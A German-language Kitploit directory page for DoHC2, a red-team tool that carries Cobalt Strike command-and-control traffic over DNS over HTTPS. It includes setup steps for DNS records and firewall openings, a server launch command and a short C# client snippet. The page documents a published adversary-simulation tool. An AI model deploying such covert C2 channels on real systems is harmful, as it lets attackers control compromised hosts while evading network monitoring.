Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
DoHC2 — DoHC2 allows the ExternalC2 library from Ryan Hanson (https://github.com/ryhanson/ExternalC2) to be leveraged for command and control (C2) via DNS over HTTPS (DoH). | Kitploit
Tools/GitHubGitHub/spiderlabs/dohc2
Penetration Testing FrameworksExploit FrameworksCommand and ControlRed TeamingPayload DevelopmentDNS AnalysisArchived
GitHubspiderlabs/dohc2

DoHC2

DoHC2 allows the ExternalC2 library from Ryan Hanson (https://github.com/ryhanson/ExternalC2) to be leveraged for command and control (C2) via DNS over HTTPS (DoH).

Repository anzeigen
44993vor 6 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

⚠️ HINWEIS: Dieses Tool wird nicht mehr aktiv gewartet.

DoHC2

DoHC2 ermöglicht die Nutzung der ExternalC2-Bibliothek von Ryan Hanson (https://github.com/ryhanson/ExternalC2) zur Befehls- und Kontrollkommunikation (C2) über DNS über HTTPS (DoH). Es wurde für die beliebte Software Cobalt Strike (https://www.cobaltstrike.com) zur Angriffssimulation und Red-Team-Operationen entwickelt.

Präsentation

Dieses Projekt wurde am 23. Oktober 2018 auf der Mitre ATT&CKcon vorgestellt.

Folien: Playing Devil’s Advocate to Security Initiatives with ATT&CK

Blog-Artikel: DOH! DNS Over HTTPS Poses Possible Risks to Enterprises

Diagramm

Bildschirmfoto

Verwendung

  1. Cobaltstrike-Teamserver installieren und starten.
  2. Einen beacon_http/beacon_https-Listener starten - Achtung Dies kann durch eine Firewall blockiert werden, aber Sie benötigen ihn, damit External C2 funktioniert.
  3. Skript 'external_c2.cna' laden, um ExternalC2-Port 2222 zu starten (Firewall aus).
  4. Abhängigkeiten für den Python3-Server installieren.
  5. Port 53/udp für das Internet (oder die IP-Bereiche des DoH-Anbieters) freigeben.
  6. Einen A-Eintrag für Ihre Domain erstellen, der auf die Teamserver-/DNS-Server-IP verweist, z.B. [A] entry.example.org -> 000.000.000.000
  7. Einen NS-Eintrag erstellen, der auf den A-Eintrag für den Sendekanal (INPUTDOMAIN) verweist, z.B. [NS] send.example.org -> entry.example.org.
  8. Einen NS-Eintrag erstellen, der auf den A-Eintrag für den Empfangskanal (OUTPUTDOMAIN) verweist, z.B. [NS] receive.example.org -> entry.example.org.
  9. Ändern Sie INPUTDOMAIN und OUTPUTDOMAIN in DoHC2.py. Ändern Sie den Verschlüsselungsschlüssel/IV – dieser wird verwendet, um den Pfad vom Teamserver zum Client zu verschlüsseln (nur Stager-Verschlüsselung). Ändern Sie max_records von 1 abhängig vom DoH-Anbieter, einige Anbieter sortieren zurückgegebene Datensätze um, was derzeit nicht behandelt wird. Max 5 funktioniert gut mit DNS-Server.
  10. Python3-DNS-Server starten.
  11. ExternalC2-Bibliothek erstellen. Ändern Sie den Verschlüsselungsschlüssel/IV in DoHChannel.cs, um ihn an den Python3-Server anzupassen.
  12. Konfigurieren und starten Sie DoHC2() wie unten gezeigt, und stellen Sie sicher, dass Sie INPUTDOMAIN, OUTPUTDOMAIN und einen DoH-Anbieter im Format 'https://resolver.example.org/dns-query' setzen.

Server

Python-DNS-Server basierend auf ACME DNS Server

  • Dies verbindet rohes DNS standardmäßig mit dem Cobalt Strike Teamserver auf 127.0.0.1:2222.
  • Ändern Sie INPUTDOMAIN und OUTPUTDOMAIN in Hosts, die NS der externen IP des Servers sind:
root@kitploit:~
	pip3 install -r requirements.txt
	sudo python3 ./DoHC2.py

Bibliothek

@ryhansons ExternalC2 mit den folgenden Ergänzungen:

  • Channels > DoHChannel.cs - DoH-Implementierung
  • Channels > Base32.cs (von https://gist.github.com/BravoTango86/2a085185c3b9bd8383a1f956600e515f)
  • DoHC2.cs - DoH-Kanal-Einrichtung / Wrapper
  • Newtonsoft.JSON (https://www.newtonsoft.com/json) wird zum Projekt hinzugefügt

Beispiel-Client

  • Wie der Rest von ExternalC2 ist DoHC2 COMVisible für JScript/DotNetToJS, aber dies ist ein einfaches Beispiel, um es zu initialisieren.
  • Der Beispiel-Client DoHC2Runner ist ein einfaches C#-Programm, das das Laden der Bibliothek und deren Einrichtung wie folgt demonstriert:
root@kitploit:~
	DoHC2 doh = new DoHC2();
	doh.Configure("<INPUTDOMAIN>","<OUTPUTDOMAIN>","<DoH URI i.e. https://dns.google.com/resolve or https://dns.example.org/dns-query");
	doh.Go();

Autoren

  • David Middlehurst - Twitter: @dtmsecurity

Lizenz

DoHC2

Einige Elemente wurden von David Middlehurst, SpiderLabs, wie oben beschrieben erstellt (Bitte beachten Sie die jeweiligen Lizenzen, wenn andere Open-Source-Projekte verwendet werden).

Copyright (C) 2018 Trustwave Holdings, Inc.

Dieses Programm ist freie Software: Sie können es unter den Bedingungen der GNU General Public License, wie von der Free Software Foundation veröffentlicht, weiterverbreiten und/oder modifizieren, entweder gemäß Version 3 der Lizenz oder (nach Ihrer Wahl) jeder späteren Version.

Dieses Programm wird in der Hoffnung verbreitet, dass es nützlich sein wird, aber OHNE JEDE GEWÄHRLEISTUNG; sogar ohne die stillschweigende Garantie der MARKTGÄNGIGKEIT oder EIGNUNG FÜR EINEN BESTIMMTEN ZWECK. Siehe die GNU General Public License für weitere Details.

Danksagungen

  • ExternalC2
  • ExternalC2 Spec
  • ACME DNS Server - (Python Server)
  • Python Shared File C2 - (Python Server)
  • Python External_C2_Framework - (Python Server)
  • DNSExfiltrator - Python Server

Mitwirkende

  • xinhaojing - Server Issue #1
Tool herunterladen